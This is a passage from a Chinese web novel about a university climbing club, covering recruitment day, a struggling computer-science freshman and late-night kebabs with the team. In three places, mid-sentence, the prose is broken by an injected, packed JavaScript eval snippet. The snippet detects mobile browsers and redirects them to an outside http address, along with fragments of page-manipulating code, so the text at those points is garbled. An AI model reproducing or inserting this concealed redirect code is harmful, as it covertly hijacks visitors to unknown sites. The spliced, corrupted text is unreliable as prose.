“不是我,是亚岚。”孟琳摊手,迅速出卖室友,“不过人家可真是去约会的……那你呢?” 周亚岚忙打圆场:“我只说看到晓唱和一个男生,可没说别的。” 黎晓唱叹气:“我是被批评教育的。队长给我留面子而已,没在大家面前说我。” “为什么教育你?你之前不是刚在大学生比赛上拿了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15116218|164176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亚军吗?” 黎晓唱挠头:“队长知道我退了概率统计的考试,担心我以后不能毕业呗……” “哦……”众人恍然,“那队长担心的也没错,限选你都敢退……好像你也的确没考虑过毕业后的出路……” “我总觉得,好像刚进大学一样,一眨眼,就从大学的前半程迈入了后半程。”黎晓唱叹气,“成长和抉择,真的是太艰难了!怎么我年纪小小,就走到了人生的岔路口?” 众人笑她:“你这小小年纪,别在这儿叹气了,快去睡觉吧!” 队里虽然没安排黎晓唱带训练,但她毕竟是骨干,没人能阻挡她参与招新的热情。 周六一大早她就赶去广场前,和同伴们一起支起帐篷,铺好地垫,把各式装备铺陈开来。她也不是一味盲目发传单,也时常四下张望,在一众陌生脸庞中寻找潜在人选。 有高年级学生经过,问:“你们现在招新不爬楼了?” 黎晓唱笑:“学校的岩壁已经翻新了,爬楼缝那是老皇历了。” “不过那个缝是怎么爬上去的,要翻窗台吗?” 黎晓唱站到墙边,正要比划说明,恰好指导教师路过,在她脑后拍了一掌:“黎晓唱,又淘气呢?不是说了,以后不许随便爬楼。” “我没想爬。”她吐舌头,拂了拂腰胯,“安全带都没有,不会上高的。” “一眼看不住,你这个小猴就不知道窜哪儿去了。”老师也是笑呵呵的,喊祁飞,“多给她安排点任务,别让她闲着。” 有队员附和:“还是要老师来说她,这孩子多动症。” 黎晓唱撇嘴:“说谁呢?我大三了,叫师姐,快点的!” 一众人嘻嘻哈哈,没半点敬重。 因为是周末,李澍在寝室睡到将近中午。窗户半开着,隐约传来不远处的嘈杂人声。他睡不着,一路去食堂觅食。路过校园中心的广场,各种社团展演让人眼花缭乱。 他们的快乐和无忧无虑,似乎和他都没什么关联。李澍想要绕开挤挤挨挨的人潮,走后面的岔路,但脑海中忽然闪过一些画面:一群人,背着硕大的登山包。 他踮了踮脚,利用身高优势,目光扫过一众展位。果不其然,在登山协会的大幅海报前,晃着传单卖力发放的,不就是那位小师姐?她看起来就是闲不住的样子,发了传单又去解答关于装备的问题,随后和众人笑闹一团。 李澍本来想过去打个招呼,但忽然有些不知所措,只能在附近几个摊位前溜达,随口应对着热情介绍的师兄师姐们,手中握了一沓传单。 直到听她统计人数,说要去附近的食堂买绿豆沙,他才揣起传单,跟在后面走过去。也说不上为什么,就是她蹦蹦跳跳的样子让人欣喜,一颗心也跟着轻松起来。 但是她走得太快了,应该说,是连走带跑。这个人仿佛没有耐心好好走路一样,也可能是身体里有无穷无尽的能量,很快就从人群中穿插而过。等李澍走到食堂,已经看到她迎面小跑着要出去——全然不知,身后掉了张校园卡。 他连忙俯身拾起。上面的照片已经被磨得模糊,但隐约还是她的模样,似乎看起来更为稚拙,中学生一样。 上面还有院系和姓名:生命学院,黎晓唱。 原来,不是李畅啊。李澍晃了晃手中的卡片,忽然觉得,这个名字更俏皮一些,更适合她。 他转身追了上去。 于是,在收到冰激凌一个月后,又收到了来自黎晓唱的一杯绿豆沙。 在绿豆沙之前的一切,她没有留心过,甚至没有一点记忆。 李澍自然也没有告诉黎晓唱。那些无心或有意的关注,一个大男生说出来,怪不好意思的。 5. 第二章 遥望 吃过午饭,嘴里似乎还留着绿豆沙清香的甜。走回宿舍时,李澍又再次路过登山协会的摊位。 他放慢脚步,和前面的路人一样,翻看各种攀登装备,看来都很专业的样子。 她是登山协会的,所以……会爬树。李澍心想,这逻辑关系有点怪,但似乎也说得通。 肩头忽然被拍了一下,手劲不小。李澍回头,猛地对上黎晓唱一张笑脸,头脑一时有些空白,不知如何开口打招呼。 “师弟不记得我啦?”她一笑起来,脸庞仿佛都更明亮,“刚刚在食堂见过呢。” “哦,记得。”他机械地应了一句。 “要不要加入我们协会?”她递过一张传单,不由分说塞到他手中,“我们可是多少年蝉联‘十佳社团’的称号,应该听说过吧?” 李澍点点头。 “可以了解一下,我们的活动还是很丰富的。过几天在岩壁有开放日,可以体验攀岩。” “谢谢,那个,我先看一下。”李澍犹豫,内心两个力量在拉扯。攀岩、登山,听上去都是有风险的户外运动呢。 黎晓唱张开五指,晃了晃:“如果加入的话,只需要填一张登记表,交五块钱的注册费。” 她好像离得更近了,李澍有些紧张:“我……考虑考虑……”同时又想,原来她也不矮,但为什么,此前印象中,总觉得她个子不高呢? “真的,后面也没有什么收费项目的,装备都是协会的。”黎晓唱也觉得自己过于热情,又摆手解释,“不过不着急,回去考虑一下也可以,随时都能报名加入的。我们BBS版面置顶就有联系方式。” 李澍又点点头。 “对了,你叫什么名字?” “李澍。” “哪个shu?” “三点水……”李澍觉得不好解释,掏出校园卡。 “哦,李澍,大一新生,计算机。”黎晓唱笑,“我们协会有好多你的师兄师姐呢,有空来玩啊。” 李澍应和着。走出几步,忍不住回头,竟然发现,黎晓唱也向他望过来,还笑着摆了摆手。 他有些尴尬。对方热情邀约,他吞吞吐吐拒绝,似乎是一件非常不礼貌的事儿。但他也没别的应对方式,只能转身就走。 一边走,一边想明白了,为什么之前总觉得黎晓唱个子不高。她努力要表现出师姐的沉稳,但一张小圆脸,又总是轻盈地腾挪跑跳,看起来没长大一样。 黎晓唱看着男生瘦高的背影,摇头轻叹:“师弟太腼腆了。” 他看起来不是运动达人,姿态也略显拘谨,但长胳膊长腿,双肩将T恤平整地撑起来,手臂线条流畅,带着少年固有的肌肉感。瘦归瘦,并不显得文弱。 “可塑之才。”黎晓唱向身边的队友评论道,“他可能还没有开发自己的运动能力。” “可塑之才也被你吓跑了!”队友笑她,“你知道商场有一种导购不?看到你就招呼,过来试试,这件适合你……那件在打折……很多顾客就这么被吓跑了。” “酒好也怕巷子深,总得推销一下。再说,我又没说训练内容,那才真是吓跑了……”黎晓唱回想,自己是否过于热情。李澍一直没说几个字,都是她在滔滔不绝。 可是,那是因为,她在他的目光中看到了好奇,明明想要询问什么,却一直没有开口。 这些可爱的、腼腆的大一小朋友啊。 黎晓唱轻声一笑,摇了摇头,又开始寻找下一位可塑之才。 目光逡巡过去,正看到祁飞和一个漂亮女生有说有笑。她的长发看似随心地卷了若有若无的弧度,从颈后拢上右肩,说笑时微侧着头,秀美中还有三分俏皮。 黎晓唱也歪着脖子,和她向同一个方向侧着头,拿肩膀撞了撞旁边的队友:“师兄,队长旁边那个妹子是谁呀?” “忘了哪个系的,叫什么琪……”队友师兄和祁飞住隔壁宿舍,略知一二,“好像上学期一起上的GRE班。” “那就是以后还可以一起申请,一起出国喽。”黎晓唱撇了撇嘴。 “这不挺好。”师兄笑,“你看,还给咱们送饮料来了。” 果然,手中的袋子里,装了若干瓶花花绿绿的运动饮料,从冷柜里拿出来不久,瓶身凝着雾气。 祁飞接过饮料袋,发给周围的伙伴。见黎晓唱望过来,便也向她扬了扬手。 刚才口若悬河、奋勇推广的黎晓唱,真觉得有点嗓子冒烟,不过此刻她抿了抿嘴唇,挤出三个字:“我不渴。” 内心不断腹诽,男人啊,真是靠不住。 在招新现场活力无边的黎晓唱,回到寝室后才觉得四肢发沉,仰躺在床上不想动,又忍不住不断念叨:“身上好黏啊,好想去洗澡。” 孟琳说:“那你就去,有你念叨这功夫,都洗了两个来回了。” “可我好累,眼皮打架,动都不想动。”黎晓唱有气无力,“琳琳,我可是早晨六点就爬起来去岩壁那边拉装备……” “是,刚刚还帮着收摊送回去。”孟琳点头,“澡堂还有不到一个小时关门哦。” “好,我正在起来,收拾我的小提篮……”黎晓唱闭着眼,只是小臂略微抬了抬。 “要不你也别去了,直接睡吧。” “不……”黎晓唱硬撑着半坐起来,“配不上刚换的床单!” 正在此时,有人推门而入。 孟琳和黎晓唱异口同声:“今天这么早回来?” 进来的不是最近沉醉爱河的周亚岚,而是常在实验室忙到后半夜的唐凝。 “放在实验室的洗发水用光了,回来拿瓶新的。”她一边说,一边向黎晓唱招手,“走啊,今天招新日,又出了一身汗吧,再不赶紧去,可就馊了。”说着拉了她一把。 黎晓唱这才滑到床下,磨磨蹭蹭地收拾出门。 等洗完澡,黎晓唱又觉得自己活过来了,好像换了一个人。 她总结说:“我觉得自己不是真的体能耗尽,是晒蔫儿了,处于半脱水状态。刚刚花洒一冲,吸饱了水,我就又精神了。” 唐凝笑她:“你是植物吗?脚上长根?” 两个人说笑着,又在小卖部买了水果和酸奶,唐凝拿了八宝粥和卤蛋,还有一听咖啡。 “今天几点回来?”黎晓唱问。 “不知道,两点……三点?” “好辛苦啊……”黎晓唱嘬着酸奶,“伍老板对本科生还好?” “主要还是和师兄师姐学习,老板偶尔点拨一下,就很有收获了。” “那也要你有慧根,点拨一下才有用。”黎晓唱耸耸肩,“换了我……” 唐凝笑她:“你的心思分了一半在攀岩上好吗?” “攀岩也是你更有慧根,我不过是从小到大一直上蹿下跳,习惯了。”黎晓唱将空瓶投向垃圾桶,“招新的时候,我还想来着……” “嗯?” “没什么……”空瓶落在桶边,黎晓唱连忙回身捡起,重又扔进去,顺便把刚刚的念头收 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15116219|164176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好,“我还想,你要是还在攀岩队,大学生赛的亚军也轮不到我。” “怎么可能……”唐凝转身看向她,认真地说,“你的天赋,是超过绝大多数人的。” 黎晓唱摆手:“你偶尔去一次而已,和我这个天天训练的比,力量和技术都差不多,你还说你没天赋?” “你能持之以恒地训练,也是一种天赋啊。”唐凝说,“学术也好,攀岩也好,越到精深的地方,想提高就越难,是吧?看起来差一点,其实差好多好多……” “你做的是学术,我还只是在学习,真的,差得好多好多。”黎晓唱打断她,“其实队里大家也挺想你的,有空去看看呗,不正式训练,爬两条线总没问题。” “上学期报的那个本科科研基金,这学期期末要交中期报告,可我还调整了方向。”唐凝抱歉,“实在是没时间了。” 可是,你再不来的话……黎晓唱欲言又止。话在口中转了半圈,又咽了回去。 回到寝室,孟琳和周亚岚都在,黎晓唱中气十足地和她们打招呼,又恢复了生龙活虎的样子。周亚岚说:“琳琳刚还说,今天可把你累瘫了,好不容易被唐凝拖着才去洗澡。” 黎晓唱挥了挥手臂:“元气少女,回血就是这么快!” 孟琳从上铺探头:“刚才看你半死不活,都没问,今天招新收获如何?有帅哥不?” 黎晓唱义正词严:“我是去招新的,对攀岩运动进行宣传普及,激发大家的兴趣,挖掘有热情有潜能的好苗子……不是去挑帅哥的……” 孟琳继续:“其实你们队长也还可以啊,他不是一直没有女朋友?” “对啊,祁飞是经常和晓唱一起吃饭的那个男生么?”周亚岚问。 孟琳说:“对,就是他。还有她扭脚的时候,也是祁飞借了电动自行车带她去医院检查。” 周亚岚回忆片刻:“有印象,好像是挺精神,还很体贴。” “我们都是好几个队友一起吃饭……”黎晓唱无力地辩解,“队友们就是会互相帮忙啊,不是你们想的那种。” “知道你们攀岩队平时总在一起,这正说明有良好的感情基础呀。”孟琳循循善诱,“你不能把所有的男生都混成哥们呀。” 黎晓唱摊手:“本来就是哥们。” “是大家都这么想,还是你自己这么想?”孟琳笑,“不知道你是故意的,还是天生迟钝。” “对,有人暗送秋波,她根本不解风情。”周亚岚回忆,“比如上次,大二一起上生态公选课那个男生……” 黎晓唱继续解释:“那个男生我知道的,我是故意躲着的。” 唐凝收拾了备用物品,正要趁熄灯关门之前再去实验室。黎晓唱拉住她:“凝凝,快帮我解释。” “解释什么?”唐凝狡黠一笑,“我都离开攀岩队大半年了,对现状没有发言权。”她推门而出,又回身留下一句,“你们继续八卦,等我回来给我更新哦。” “你这个没义气的女人!”黎晓唱忿忿不平,差点就说出,你以为祁飞为什么对我那么好? 刚刚在路上,她想的是,如果唐凝还在攀岩队,会不会顺理成章地和祁飞走到一起呢?如果她再不回来队里,祁飞可能就被那个什么什么琪给拐走了。 只是,两个当事人都对这若有似无的情愫闭口不言,她作为二人共同的好友无意间窥见端倪,便只能选择在心里保守秘密。 黎晓唱叉着手臂,气鼓鼓地想,下次可要好好去敲祁飞的竹杠! 6. 第二章 (下) 黎晓唱塞过来的传单,李澍仔细看了两遍,对折好,夹在课本里。他甚至还去BBS上登山协会的版面上浏览一番,组织架构、日常活动,一一了解。向前翻了两页,还看到上学期期末全国大学生攀岩赛的喜报,黎晓唱获得女子难度赛的亚军。 难怪,想想她爬树时的敏捷轻巧,一点都不意外。 但翻看了置顶的训练计划后,他不免有些犹豫。如果体能训练和攀岩训练都参加的话,一周大概有三四天,要参训一到两个小时;此外,还有各种不定期的讲座培训和户外活动。 虽然帖子中一再强调,对于大多数普通会员而言,保证一定的出勤率即可,不需要次次参加,也不必担心自己的体能基础;可是,如果只是在协会里毫无存在感地打酱油,空羡慕各种大神飞檐走壁,对李澍来说,或许不如不参加。 毕竟,已经有一件事儿让他觉得很有挫败感了,不需要再多一项打击。 那就是,他的学习。 李澍从来没有对任何人提起,甚至以前的生活圈里都不会有人相信,他居然会为“学习”两个字头疼。 大学的课程内容和学习方法与高中相比,真的是天壤之别。 别的专业学习的是高等数学,计算机专业是将几个科目拆开了讲,数学分析、高等代数统统只是入门,各讲两三个学期。 不仅要知其然,还要知其所以然。套用公式计算不过是开胃菜,你还要知道这些菜都是怎么做出来的。 李澍以前总奇怪为什么有人上课走神或者睡觉,现在也轮到他了——因为听不懂。 是的,听不懂,这种情况在以前十二年求学过程中,从来没有出现过。 一旦听不懂,注意力就很难集中,听着老师略让人困惑的方言口音,难免昏昏欲睡; 一旦稍微打个盹,起来就更加听不懂,课上知识点密集,一堂课讲十几页的内容,并不会掰开揉碎了讲解题的方法和技巧; 一旦课上没听懂,回去就不会写作业,计算类还可以刷题,但推导证明过程环环相扣,不知从何下手; 一旦作业不会写,在自习室就进入新一轮木然,坐了一小时也只是感到困倦,或许又趴在桌子上睡了过去; 等回到寝室,又会因为没有完成今日预定的学习任务而焦虑,高中时代早睡早起、不透支精力的好习惯,一旦打破就拼不回来。 于是,没有充足睡眠的他,投入第二日的学习中时,又再次进入新一轮听不懂便课上睡觉的循环。 开学不到一个月,李澍便切身经历了当初中学时代老师批判的种种行为。 包括且不限于,交作业前“参考”一下同寝室的;以及,明明都学不懂了,还是会去打游戏。 不仅是他,还有周围其他人。 越是学不明白,越容易沉迷外物。都心照不宣,游戏便是一同避世的小桃花源。 好像是泳池里的冠军被扔入知识的汪洋大海,一个个大浪打过来,措手不及。 他感觉自己要被溺毙了。 但,依旧有人乘风破浪,直挂云帆济沧海。在他还在困乏中勉强抄着笔记,纠结符号位置的时候,有人站出来说:“老师,你那个公式写错了。” 李澍时常坐在图书馆顶层的自习室里发呆,看着窗外翠色葱茏的校园,觉得自己并不真正属于这里。 低头看看自己的作业本,一共五道题,第一天做出来三道。刚刚一下午,做出来半道。说好的要做信息社会栋梁之材、走在时代前列呢?那些定理和证明,已经在学界存在几百年了。但你依旧不懂。 是不是听不懂,才是学习的常态呢? 所谓高中霸榜三年,是否因为没见过更广阔的天地? 好讽刺,他感觉心态有点崩。 吃过晚饭,又回寝室磨蹭了一会儿,还是硬着头皮继续去自习。 但似乎又是昏昏欲睡中做几个小时的无用功,夜色涌上,沿途景物的轮廓渐渐模糊,脑海中也一片空白。 不知不觉走到了校园的另一侧,在体育场一角,高耸着十余米的人工岩壁,旁边打了探照灯,亮如白昼。隔着爬满藤蔓的铁丝网和茂密的灌木丛,听见里面传来欢乐的说笑声。 李澍下意识走过去,发现这边的小门没有开。他向着体育场的大门走了几步,脚步凝滞,又转身重向夜色中走去。 口袋中的手机振动起来,是爸妈打来的电话。 妈妈的开场向来是:“吃过饭了?没打扰你学习吧?” “没,正好出来走走。” “最近你爸早班,晚上有空,要自己炒几个菜。” 李澍颔首,这是父亲的风格,不管多疲惫,总是在做菜中找到快乐。 妈妈又问起他十一假期的计划,说同事家的孩子要回家过节。 李澍说:“刚来一个月,我就不回去了。过段时间看看能不能做个家教。” “不回来也好,国庆节,在北京转转多好。”那边传来父亲爽朗的笑声,“还能省点车票钱,想吃点啥好吃的就去买。” 李澍回答:“食堂挺好的。” 爸爸问:“有锅包肉吗?” “附近餐馆有。” “正宗吗?能和我做的比吗?” “还行吧,肯定不能比。”李澍没怎么去过,但还是给了一个父亲想要的答案。 父亲问:“你们北京同学在一起,没事整两盅不?” 母亲抱怨:“还都是小孩子,在读书,整什么整?” “嗨,离开家了,一个个都觉得自己是大人了。”父亲了然道,“不信你问他。” 李澍问:“最近腰好些了没,记得隔一会儿下车活动活动。” “没事,小事情。” “嗯,之前医生教的康复训练的动作,记得练。” 老爹浑不在意:“放心吧。” 他又想起别的趣事,要和儿子分享。 “对了,儿子,再教我两句英文呗。” “嗯。” “你从哪里来。” “Whereareyoufrom?” “哦,对,就是‘你去哪儿’的那个‘where’。” “没错。” “还有,‘我儿子在北京上大学’。” 李澍问:“为什么学这句?” “那天我拉了一个客人,应该是个留学生,中文不咋样。我就用上了那句‘你去哪儿’,老厉害了。他就想和我聊点别的,我也不懂啊,但我猜他是夸我会说英文。我就想和他说,我和我儿子学的,他在北京上大学。” 父亲言语中透出自豪来。 “虽然我不会说,但好歹咱也是当初厂里夜校补习的好学生,还记着几个词,就说,‘myson,Beijing,gotoschool,大学’。他也说,‘哦,大学,大学。’” 一个北京的大学生,家庭的荣光。 站在苍茫的夜色中,李澍微仰起头,只看见上空因为光污染而笼的灰红色雾气。 国庆假期李澍没回家,但也没出门凑热闹。倒是有几拨朋友来北京游玩,他和几个同在北京读书的同学一尽地主之谊。 老同学在校园里转了两圈,连连称叹,站在湖边眺望天光水色,说:“嘿,你们学校这环境,哪是学习的地儿,太适合谈恋爱了!而且你们女生挺多啊,哪像我们,基本都是工科,和尚庙。” 李澍蹙眉:“眼睛别乱瞟,猥琐。” 他又揶揄李澍:“怎么样,谈了没?” 李澍白他一眼:“谈屁。” 另一个同学笑:“你以为李澍是你啊,刚开学肯定功课第一。再说这小伙儿,一表人才,着什么急。”又说,“咱们物理老师还一直夸你呢。我表弟就在他们班上,对你都老崇拜了。说你次次模拟150。不管啥题,一看就会。” 有人附和:“别说师弟师妹,我们当时也是老崇拜了,我妈就说,你看看人家李澍,脑袋构造和你们都不一样,高三也不补课,还比你们都考得好。” “那是,一直是学霸,哦不,学神一样的存在。” 李澍道:“也就是熟能生巧,现在周围大神太多了。” “那你也没问题,在我们心里,你就是天才。” 一行人说着,已经从湖畔走到岩壁下。 “你们学校的登山协会也很有名呢。” “是啊,好像是连续几年的‘十佳社团’。”李澍想起黎晓唱自豪的神情,不觉评价了一句。 朋友向着岩壁努努嘴:“你不报名参加一下?记得你高中时引体也特别厉害。” “好长时间没练了。” “那有个单杠。” 李澍停住脚步:“算了,人家不让进。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15116220|164176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 有社团的成员正在整理保护用的动力绳,一圈一圈搭在肩背上,应道:“可以参观,但不要随便爬岩壁哈。” 几个人绕着岩壁走了一圈,看到有队员在练习顶绳攀爬,朋友们继续赞叹:“这么高,这么快就上去了,好厉害。” 李澍也仰头看了一会儿,他对攀岩的技术动作不了解,如果是第一次见识,一定也会觉得很震撼。但这几位队员和黎晓唱比起来,明显不是同一段位的选手。她的动作行云流水,举重若轻,是啊,毕竟是全国亚军呢。 不过,她并不在这里。否则离得很远,大概就能听到她说笑的声音了。 李澍心里隐约有点空。 在朋友的簇拥下,他无法推辞,在单杠上拉了几个引体。和高三的巅峰时刻比,似乎也有些乏力。果真,都退步了。 十一后天气渐凉,终于没有了让人心烦意乱的燥热。 长假过后,似乎期中也并不遥远。李澍知道时间不能蹉跎下去,然而课堂知识环环相扣,一旦有某个知识点漏过去,就觉得像渔网上被挣开一个小洞,之后只会越来越脱扣。更多的知识点就呼啦啦地钻过去。 周五夜里,他明明是想早睡,周末集中精力攻坚,但夜里不熄灯,男生寝室也热闹起来,大家走东窜西,聊天的聊天,打游戏的打游戏。 李澍没买电脑,也无法入睡,索性起身出门。与其围观别人开战,不如自己去趟网吧。 他抄近路,走到宿舍区最近的角门,发现路口黑着灯,日常留了行人通路的小门已经落锁,旁边立起了工地隔断,还没最后合龙。 这是要维修么?李澍推了推门,铁锁闩得结结实实。 看来只能走大路了,他转身刚走了几步,就看见迎面路灯下,五六个人说说笑笑走过来。 他们似乎在讨论什么学术问题,说得十分投入。 一个女生不断提着问题,不正是小猴师姐? 有位师兄无奈揶揄道:“黎晓唱,怪不得你上学期退考,你这真是什么都不会啊!” “别笑话我啦,我知道我学得不好,所以才来请教高手啊!”她笑嘻嘻地,倒是没一点脾气,“而且就算上学期我学了,考及格了,现在记不住了,不也是正常的吗?” 呵,能把基础不扎实说得这么理直气壮,李澍学习了。 男生继续说:“你之前不好好学,现在对着一堆数据不知道怎么处理了吧?当你对随机变量、概率分布、假设检验这些基础概念都一知半解的时候,你怎么设计你的模型,解读你的数据?不是套一个公式就可以的,也不是简单的堆砌数据。光让我教你用模型,相当于你什么基本功都没有,就让我带你爬南壁,我拿绳子拽你上去啊?” “那我这不是想好好学,才来请教的嘛。”她继续笑着,“这样啊,我一定从头学起!一会儿我请你吃烤串。” 后面几个人纷纷插话:“就请队长啊,那我们呢,听者有份。” 黎晓唱嗤之以鼻:“你们能解答我的问题吗?能的话举手。” 几个人说说笑笑,和李澍擦肩而过,也到了门边。 黎晓唱晃了晃门,又拨弄着门闩研究了几秒。“啊,真的锁上了。”她按了按栅栏门上的横杠是否结识,便伸长手臂…… 李澍自然知道她要做什么,果然是小猴姐。 “还是走大门吧。”她的衣领已经被祁飞扯住,“别看墙就想爬。” “那不是绕远么。”她的眼睛在夜里亮晶晶的,“我们几个人的身手,几秒种就过去了!” “不差这几步道。”祁飞制止她,“学校信息不刚发通报,说有人翻墙被抓了?” “那不是有校外的人偷偷翻进来吗?”黎晓唱左右看看,像是在打量是否有巡逻的保安,也不能过于明目张胆。 一扭头,看到不远处默不作声,但又一直没有走远的李澍。 “啊,是你!”她眼睛亮了亮,声音中带着笑意,“招新那天的师弟!” 他走过来,“师姐好。” “哦,对,想起来了,李澍!”记起他的名字,黎晓唱十分得意,笑眯眯上下打量了一番,“好像,有点不一样了……” 李澍想,记不清也没关系,要是她继续这样盯着自己看下去,才真有几分不自在。 她眉眼弯弯,继续说道:“……看来,学校食堂的伙食不错呀!” 7. 第三章 入队 几个人远远看到巡逻的保安骑着电瓶车过来,还是放弃了翻墙的打算,掉头沿着林荫路向大门走去。 黎晓唱问李澍:“师弟也去吃夜宵吗?” 李澍“嗯”了一声,又觉得,结合她上一句“食堂伙食不错”的评论,“夜宵”的潜台词非常有指向性,下意识地收了收腹,说:“也……没打算。” 但也不好直说,自己本打算去网吧。 “哦……”黎晓唱稍加思索,“周五了,不是背书包自习,又不去宵夜,去网吧?” 旁边的队友说:“你管真宽。” “我是提醒师弟,上了大学的确自由度大,所以才要格外注意。”黎晓唱一本正经,“大一都是基础课,一定要重视,学习上不能放松。” 众人笑起来:“黎晓唱,啥时候轮到你教育别人不要贪玩?” “我不是贪玩,我是认真训练好吗?”她辩驳着,语气中总有笑意,“再说,我这不是痛定思痛,深刻反思吗?” 李澍夹在当中,有些尴尬:“寝室里现在有点吵,我出来溜达一下。” 走到校门外,小摊贩们一字排开,烤串、麻辣烫、煎饼果子……一应俱全。 烤串摊主笼在缭绕的烟雾中唰唰地摇着手中的硬纸板,看到几个攀岩队员,扬起纸板招了招:“快来,给你们进货了。” 李澍正要在路口和几个人道别,黎晓唱喊住他:“反正你都出来了,一起去吃串儿吧,有好吃的哟!” 摊主掀开保温泡沫箱,几个脑袋凑过去:“哇,有新鲜的羊肝。” 摊主又拎出一个塑料袋:“还有你们要的馕。我就说,烧饼不行吗?” “这得让我们寝室的唐凝来,身为新疆人,她能给你写一篇论文!”黎晓唱帮着拿串出来,“话说还得是老孙呀,什么都能搞定!” “一天到晚老孙老孙的,都被你们几个喊老了。”摊主拍拍肚子,“有这么胖的老孙么?” “这是昵称么,反正你每天腾云驾雾的。”黎晓唱伸手挥了挥碳火的烟雾,指点了一圈,“你也可以喊我们老祁、老张、老吴……老黎,”又反手指了指旁边的李澍,“呃,这还是位小同学,小澍。以后可以多带同学来支持老孙的生意,他家的肉质还是有保证的。” “大一新生是吧,欢迎常来!”老孙应道,“我在这儿都十年了,良心钱。” 李澍只顾得上点头。 黎晓唱继续解释道:“自从他们几个去爬了慕士塔格,回来就天天惦记新疆烤串,还有什么烤包子,手抓饭,拉条子……羊肝可不是天天有,不容易保鲜,老孙对品质还是有要求的。” 老孙应道:“嘁,还不是你们挑嘴,上次都说烤太干了,不够嫩。逼着我走了好几个地方去进货。” 几个人站在烧烤摊前,继续说起刚才探讨的问题。这回李澍听了个大概。 生命学院前两年各专业的基础课都差不多,到了大三大四,大家陆续选择自己感兴趣的方向,联络导师和项目组。 黎晓唱目标明确,就想去做野生动物保护,在暑期综合野外实习中也表现突出,负责的梁教授很看好她的综合能力。 (*咦,又是梁老师?) 但旁听了两次组会后,黎晓唱备受打击,心生惶恐。用她的话说,“我以为自己走错了组,听师兄师姐讨论我就一直在蒙圈。” 黎晓唱感叹:“之前一直觉得,我就是为了这个专业而生的啊,谁想到后续有这么多要求,光收集数据不行,还得设计实验,建立模型。” “你之前没了解过本专业的课程需求吗?” “头两年全学院的基础课我有认真学啊,去年也听了《保护生物学》,就觉得好有趣,都当听故事了。而且,当时觉得,我就是他们需要的人啊。”黎晓唱掰着手指头,一一细数,“有热情,有体力,有户外经验,让我上山我就上山,让我过河我就过河,多沉的装备我都可以自己背……” 李澍心想:让你爬树你还能爬树。 老吴思索片刻,悠悠补了一句:“上山过河驼装备……那,梁老师为什么不买头驴?” 被黎晓唱踢了一脚。 她叹气:“去围观了两次组会,觉得自己这些技能,大概适合做个巡护员……” 祁飞轻哂:“嘁,人家老巡护员是相当厉害了,你这点户外经验和观测能力和人家不能比。” “所以有点沮丧啊。”她一边叹气,嘴上却是不停,一口小白牙撸起串来风卷残云,一点都不逊色于男生们的速度。 反而是李澍,站在原地插不上话,只能慢条斯理地吃着。 “不要那么拘谨啊。”黎晓唱塞了一把肉串过来,“刚烤出来最好吃!” 羊肝果然嫩滑多汁,带着新鲜的甜美;烤馕酥脆入味,咬在嘴里更有嚼劲。 李澍看着这一大把,略有迟疑:“师姐,你刚刚说,食堂伙食已经够好了……” 黎晓唱意识到自己戳痛了师弟幼小的心灵,嘻嘻一笑:“你一个不到二十岁的男生,不用刻意节食,少吃点零食,多吃点肉,关键是多运动,不能总坐着。” “嗯,就……”李澍给自己找了个理由,挠了挠头,“功课挺多的。” “计算机大一的课程,好像的确挺难哦。”黎晓唱点头,“而且久坐也脱发,看看博士们……” 老吴问:“要说是因为费脑也就罢了……久坐脱发,你哪儿来的结论?” 黎晓唱:“观察啊,我当然没有数据支持……当然,久坐和脱发,可能是相关性,不见得是因果性……” 祁飞揶揄她:“讨论一晚上,好不容易才学了两个词,你可别卖弄了。” 她还一本正经,好像是个严肃的学术话题一样。 李澍算是明白了,黎晓唱擅长扯东扯西,停不下来的说话,对她就是一种快乐。 眼看还有最后一小把羊肝,老孙正要放在烤架上,祁飞按下:“等会儿再烤。”说着拿出手机,低头发着消息。 黎晓唱凑上去,斜着眼看他打字,写着:“难得老孙今天进了羊肝,一会儿我给你……” 祁飞意识到旁边有人,半转过去:“瞅什么瞅。” 黎晓唱压低声音:“她在排队等超速离心机,可能没那么早回来。” “我一会儿也回实验室,应该路过你们学院。” 黎晓唱耸肩:“想顺路,怎样都可以顺路。” 手机屏幕一亮,进来一条短信。 黎晓唱问:“她怎么说?” “没事……归你了……”祁飞将一把烤串塞到黎晓唱手里。 她轻叹一声,招呼李澍:“来,师弟,归你啦。” 老孙那厢正在和一坨冻在一起的鱿鱼较劲:“稍等,马上给你们烤。” 李澍接过烤串,放在架子上:“我来吧,羊肝没烤过,肉串还是可以的。 他站在上风处扇着硬纸板,动作干净利落。一大把签子一字码开,在他手中聚拢翻转再散开,整整齐齐,间隔有序。 